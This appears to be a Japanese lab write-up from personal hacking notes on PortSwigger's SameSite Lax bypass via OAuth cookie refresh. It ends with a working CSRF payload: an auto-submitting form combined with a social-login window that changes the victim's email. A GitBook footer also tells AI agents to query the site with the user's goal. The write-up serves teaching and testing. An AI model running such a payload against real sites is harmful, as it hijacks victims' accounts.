> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/csrf/samesite-lax-bypass-via-cookie-refresh.md).

# Cookie更新を介したSameSite Lax回避

PortSwigger Web Security Academy のラボ向けメモ。Cookie更新を介したSameSite Lax回避に関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### Cookie リフレッシュによる SameSite Lax バイパス

アプリケーションのメール変更機能には CSRF 攻撃の脆弱性があります。ラボの目的は、提供されたエクスプロイトサーバーでデモをホストすることで、被害者ユーザーのメールアドレスの変更を強制することです。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6cc4231baa3ff91edadc6840891adebc00d278a2%2Fimage%20(374).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

このラボは外部プロバイダー経由の OAuth 認証をサポートしています。与えられた識別子（`wiener:peter`）で接続できます。認証プロセス中には、OAuth の識別に別ドメインのページが使用されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-66fed4ca14fd9ba8651584d38076800754f7b814%2Fimage%20(373).png?alt=media" alt="" width="553"><figcaption></figcaption></figure>

`ソーシャルメディアアカウントで正常にログインしました`

* ソーシャルプロバイダー経由で接続すると、回答には認証 cookie が含まれており、その `SameSite` 属性は `緩い`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5daa88eb78310244ca9d4001fe60266867438c1c%2Fimage%20(375).png?alt=media" alt=""><figcaption></figcaption></figure>

ログアウトしてから、パスワードを再入力せずに認証フローを再開すると、セッションはリセットされます。a **新しい** セッション cookie が発行されます。

* → 実際には、ユーザーが「logout」をクリックした場合、サイトにリダイレクトされて新しいセッション cookie を取得するには、もう一度「login」をクリックする必要があるということです。
* サードパーティドメイン経由の認証中にこの cookie の「リフレッシュ」動作があるため、まず認証ページへの初回リクエストでセッション cookie を回復／確立し、その後 2 回目の操作（クライアント側）でユーザーアカウントのメールを変更するリクエストを発火させる、という流れを考えることができます。

```html
<form class="login-form" name="change-email-form"
      action="https://0a6100a60304c671804803f0005200d7.web-security-academy.net/my-account/change-email"
      method="POST">
  <input type="hidden" name="email" value="hacked@byjordan" />
</form>

<script>
  window.open("https://0a6100a60304c671804803f0005200d7.web-security-academy.net/social-login", "_blank");
  setTimeout("document.forms['change-email-form'].submit()", 5000);
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/csrf/samesite-lax-bypass-via-cookie-refresh.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
